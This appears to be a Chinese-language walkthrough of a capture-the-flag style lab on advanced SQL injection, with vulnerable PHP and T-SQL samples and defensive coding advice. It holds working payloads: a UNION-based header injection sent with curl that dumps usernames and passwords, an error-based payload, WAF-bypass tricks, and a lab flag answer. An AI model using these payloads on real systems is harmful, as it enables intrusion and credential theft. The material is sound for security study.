out.txt

Other Techniques

高级 SQL 注入涉及一系列超越基本攻击的复杂方法。以下是渗透测试人员应该了解的一些重要的高级技术:

HTTP 标头注入

HTTP 标头可以携带用户输入,这些输入可能用于服务器端的 SQL 查询。

如果这些输入未经清理,则可能导致 SQL 注入。该技术涉及操纵 HTTP 标头(如 User-AgentRefererX-Forwarded-For)以注入 SQL 命令。服务器可能会记录这些标头或在 SQL 查询中使用它们。例如,恶意的 User-Agent 标头看起来像“User-Agent: ‘ OR 1=1; –”。如果服务器在 SQL 查询中包含 User-Agent 标头而不对其进行清理,则可能导致 SQL 注入。

在此示例中,Web 应用程序将 HTTP 请求中的 User-Agent 标头记录到数据库中名为 logs 的表中。应用程序在 http://10.10.221.70/httpagent/ 处提供了一个端点,用于显示日志表中的所有已记录条目。当用户访问网页时,他们的浏览器会发送一个 User-Agent 标头,用于标识浏览器和操作系统。此标头通常用于记录日志或为特定浏览器定制内容。在我们的应用程序中,此 User-Agent 标头插入到日志表中,然后可以通过提供的端点查看。

给定端点,攻击者可能会尝试将 SQL 代码注入 User-Agent 标头以利用 SQL 注入漏洞。例如,通过将 User-Agent 标头设置为恶意值(如 User-Agent: ' UNION SELECT username, password FROM user; --),攻击者会尝试注入将日志表的结果与用户表中的敏感数据相结合的 SQL 代码。

以下是插入日志的服务器端代码。

 $userAgent = $_SERVER['HTTP_USER_AGENT'];
$insert_sql = "INSERT INTO logs (user_Agent) VALUES ('$userAgent')";
if ($conn->query($insert_sql) === TRUE) {
echo "<p class='text-green-500'>New logs inserted successfully</p>";
} else {
echo "<p class='text-red-500'>Error: " . $conn->error . " (Error Code: " . $conn->errno . ")</p>";
}

$sql = "SELECT * FROM logs WHERE user_Agent = '$userAgent'";
..
...

使用 INSERT SQL 语句将 User-Agent 值插入到日志表中。如果插入成功,则会显示成功消息。如果插入过程中出现错误,则会显示包含详细信息的错误消息。

dashboard for viewing logs

准备有效负载

我们将准备并将 SQL 有效负载注入 User-Agent 标头,以演示如何通过 HTTP 标头利用 SQL 注入。我们的目标有效负载将是 ‘ UNION SELECT username, password FROM user; #。此有效负载旨在:

  • 关闭现有字符串文字:初始单引号 (') 用于关闭 SQL 查询中的现有字符串文字。
  • 注入 UNION SELECT 语句:有效负载的 UNION SELECT username, password FROM user; 部分用于从用户表中检索用户名和密码列。
  • 注释掉查询的其余部分# 字符用于注释掉 SQL 查询的其余部分,确保忽略任何后续 SQL 代码。

我们需要将此有效负载作为 HTTP 请求中的 User-Agent 标头的一部分发送以注入此有效负载,这可以使用 Burp SuitecURL 等工具来完成。我们将使用 curl 命令行工具发送带有自定义 User-Agent 标头的 HTTP 请求。打开终端并访问命令行界面。使用以下命令发送带有自定义“User-Agent”标头的请求:

示例终端

           user@tryhackme$ curl -H "User-Agent: ' UNION SELECT username, password FROM user; # " http://10.10.221.70/httpagent/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SQL Injection </title>
rel="stylesheet">
</head>
<body class="bg-gray-100">
<div class="container mx-auto p-8">
<h1 class="text-4xl font-bold mb-8 text-center">HTTP Logs</h1>
<div class="bg-white p-6 rounded-lg shadow-lg">

<p class='text-gray-600 text-sm mb-4'>Generated SQL Query: <span class='text-red-500'>SELECT * FROM logs WHERE user_Agent = '' UNION SELECT username, password FROM user; #'</span></p><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>bob</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>bob@123</span></p></div><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>attacker</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>tesla</span></p></div>
</div>
</div>
</body>
</html>

服务器的响应将显示在终端中。如果 SQL 注入成功,您将在响应中看到提取的数据(用户名和密码)。

利用存储过程

存储过程是存储在数据库中的例程,可以执行各种操作,例如插入、更新或查询数据。虽然存储过程可以帮助提高性能并确保一致性,但如果处理不当,它们也可能容易受到 SQL 注入的攻击。

process flow of stored procedure

存储过程是预编译的 SQL 语句,可以作为单个单元执行。它们存储在数据库中,可以由应用程序调用来执行特定任务。存储过程可以接受参数,这可以使它们灵活而强大。但是,如果这些参数没有得到适当的清理,它们可能会引入 SQL 注入漏洞。

考虑一个旨在根据用户名检索用户数据的存储过程:

 CREATE PROCEDURE sp_getUserData
@username NVARCHAR(50)
AS
BEGIN
DECLARE @sql NVARCHAR(4000)
SET @sql = 'SELECT * FROM users WHERE username = ''' + @username + ''''
EXEC(@sql)
END

在此示例中,存储过程将 @username 参数连接到动态 SQL 查询中。这种方法容易受到 SQL 注入攻击,因为输入未经清理。

XML 和 JSON 注入

如果应用程序没有正确清理输入,解析 XML 或 JSON 数据并在 SQL 查询中使用解析后的数据,则容易受到注入攻击。 XML 和 JSON 注入涉及将恶意数据注入 XML 或 JSON 结构,然后将其用于 SQL 查询。如果应用程序直接在 SQL 语句中使用解析后的值,则可能会发生这种情况。

 {
"username": "admin' OR '1'='1--",
"password": "password"
}

如果应用程序在 SQL 查询中直接使用这些值(如“SELECT * FROM users WHERE username = ‘admin’ OR ‘1’=’1’– AND password = ‘password’”),则可能会导致注入。

books表中 book_id =1 的标志字段的值是什么?

curl -H "User-Agent: ' UNION SELECT flag , book_id FROM books;#" http://10.10.61.196/httpagent/

提取用户代理时,服务器端检测哪个字段?

User-Agent

Automation

由于安全措施实施不当以及不同 Web 框架的复杂性,SQL 注入仍然是一种常见威胁自动识别和利用这些漏洞可能具有挑战性,但已经开发了多种工具和技术来帮助简化此过程。

识别过程中的主要问题

识别 SQL 注入漏洞涉及几个挑战,类似于识别任何其他服务器端漏洞。以下是关键问题:

  • SQL 查询的动态性质:SQL 查询可以动态构建,因此很难检测到注入点。具有多层逻辑的复杂查询可能会掩盖潜在的漏洞。
  • 各种注入点:SQL 注入可能发生在应用程序的不同部分,包括输入字段、HTTP 标头和 URL 参数。识别所有潜在注入点需要彻底的测试和对应用程序的全面了解。
  • 使用安全措施:应用程序可能使用准备好的语句、参数化查询和 ORM 框架,这些可以防止 SQL 注入。自动化工具必须能够区分安全和不安全的查询构造。
  • 上下文特定检测:用户输入在 SQL 查询中使用的上下文可能千差万别。工具必须适应不同的上下文才能准确识别漏洞。

一些重要的工具

安全社区内已经开发了几种知名的工具和项目来帮助自动查找 SQL 注入漏洞。以下是一些提供检测和利用 SQL 注入功能的知名工具和 GitHub 存储库:

  • **SQLMap**:SQLMap 是一种开源工具,可自动检测和利用 Web 应用程序中的 SQL 注入漏洞。它支持多种数据库,并为识别和利用提供了广泛的选项。您可以在 此处 了解有关该工具的更多信息。
  • **SQLNinja**:SQLNinja 是一种专门设计用于利用使用 Microsoft SQL Server 作为后端数据库的 Web 应用程序中的 SQL 注入漏洞的工具。它可以自动执行各种利用阶段,包括数据库指纹识别和数据提取。
  • JSQL Injection:一个专注于检测 Java 应用程序中的 SQL 注入漏洞的 Java 库。它支持各种类型的 SQL 注入攻击,并提供一系列用于提取数据和控制数据库的选项。
  • **BBQSQL**:BBQSQL 是一个盲 SQL 注入利用框架,旨在简单高效地自动利用盲 SQL 注入漏洞。

自动识别和利用 SQL 注入漏洞对于维护 Web 应用程序安全至关重要。 SQLMap、SQLNinja 和 BBQSQL 等工具提供了强大的功能来检测和利用这些漏洞。但是,了解自动化工具的局限性以及手动分析和验证的必要性以确保全面的安全覆盖非常重要。通过将这些工具集成到您的安全工作流程中并遵循输入验证和查询构造的最佳实践,您可以有效地减轻与 SQL 注入漏洞相关的风险。

Best Practices

SQL 注入是一种著名且普遍存在的漏洞,多年来一直是 Web 应用程序安全的主要问题。渗透测试人员在评估过程中必须特别注意此漏洞,因为它需要彻底了解各种技术才能识别和利用 SQL 注入点。同样,安全编码人员必须优先保护其应用程序,实施强大的输入验证并遵守安全编码实践以防止此类攻击。下面提到了一些最佳实践:

安全编码人员

  • 参数化查询和准备好的语句:使用参数化查询和准备好的语句确保所有用户输入都被视为数据而不是可执行代码。此技术通过将查询结构与数据分离来帮助防止 SQL 注入。例如,在带有 PDO 的 PHP 中,您可以准备一个语句并绑定参数,以确保用户输入得到安全处理,如 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $username]);
  • 输入验证和清理:实施强大的输入验证和清理,以确保输入符合预期格式。验证数据类型、长度和范围,并拒绝任何不符合这些标准的输入。使用 PHP 中的内置函数(如 htmlspecialchars()filter_var())有效地清理输入。
  • 最小特权原则:通过授予应用程序帐户必要的最低数据库权限来应用最小特权原则。避免使用具有管理权限的数据库帐户进行日常操作。通过限制攻击者对关键数据库功能的访问,这可以最大限度地减少成功的 SQL 注入攻击的潜在影响。
  • 存储过程:使用存储过程封装和验证 SQL 逻辑。这允许您控制和验证数据库本身内的输入,从而降低 SQL 注入的风险。确保存储过程仅接受经过验证的输入,并设计为在内部处理输入清理。
  • 定期安全审计和代码审查:进行定期安全审计和代码审查以识别和解决漏洞。自动化工具可以帮助扫描 SQL 注入风险,但人工审核对于发现细微问题也至关重要。定期审核可确保您的安全实践与不断发展的威胁保持同步。

渗透测试人员

  • 利用数据库特定功能:不同的数据库管理系统 (DBMS) 具有独特的功能和语法。渗透测试人员应了解目标 DBMS(例如 MySQL、PostgreSQL、Oracle、MSSQL)的具体情况,以有效利用这些功能。例如,MSSQL 支持 xp_cmdshell 命令,可用于执行系统命令。
  • 利用错误消息:利用详细的错误消息来深入了解数据库架构和结构。基于错误的 SQL 注入涉及诱使应用程序生成显示有用信息的错误消息。例如,使用 1’ AND 1=CONVERT(int, (SELECT @@version)) – 可能会生成泄露版本信息的错误。
  • 绕过 WAF 和过滤器:测试各种混淆技术以绕过 Web 应用程序防火墙 (WAF) 和输入过滤器。这包括使用混合大小写 (SeLeCt)、连接 (CONCAT(CHAR(83)、CHAR(69)、CHAR(76)、CHAR(69)、CHAR(67)、CHAR(84))) 和替代编码 (十六进制、URL 编码)。此外,使用内联注释 (/**/) 和不同的字符编码 (例如 %09、%0A) 可以帮助绕过简单的过滤器。
  • 数据库指纹识别:确定数据库的类型和版本以定制攻击。这可以通过发送根据 DBMS 产生不同结果的特定查询来完成。例如,SELECT version() 适用于 PostgreSQL,而 SELECT @@version 适用于 MySQL 和 MSSQL。
  • 使用 SQL 注入进行透视:使用 SQL 注入来透视和利用网络的其他部分。一旦数据库服务器被入侵,它就可以用来访问其他内部系统。这可能涉及提取凭据或利用系统之间的信任关系。

高级 SQL 注入测试需要深入了解各种技术,并具备适应不同环境的能力。渗透测试人员应采用各种方法,从利用特定于数据库的功能到绕过复杂的过滤器,再到彻底评估和利用 SQL 注入漏洞。有条不紊地记录每个步骤可确保对应用程序的安全性进行全面评估。